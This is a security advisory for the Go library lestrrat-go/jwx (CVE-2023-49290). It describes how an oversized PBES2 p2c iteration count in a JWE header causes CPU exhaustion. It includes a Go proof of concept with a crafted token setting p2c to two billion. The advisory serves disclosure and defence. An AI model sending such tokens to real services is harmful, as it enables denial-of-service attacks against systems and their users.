GHSA-7f9x-gw85-8grf

Dashboard / Vulnerabilities / GHSA-7f9x-gw85-8grf

GHSA-7f9x-gw85-8grf

Summary: lestrrat-go/jwx's malicious parameters in JWE can cause a DOS

Details: ### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack ### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack ### PoC ```go package main import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" ) func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(`abcdefg`)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key)) if err == nil { fmt.Println(string(payload)) } } ``` ### Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

References: https://github.com/lestrrat-go/jwx/security/advisories/GHSA-7f9x-gw85-8grf, https://nvd.nist.gov/vuln/detail/CVE-2023-49290, https://github.com/lestrrat-go/jwx/commit/64f2a229b8e18605f47361d292b526bdc4aee01c, https://github.com/lestrrat-go/jwx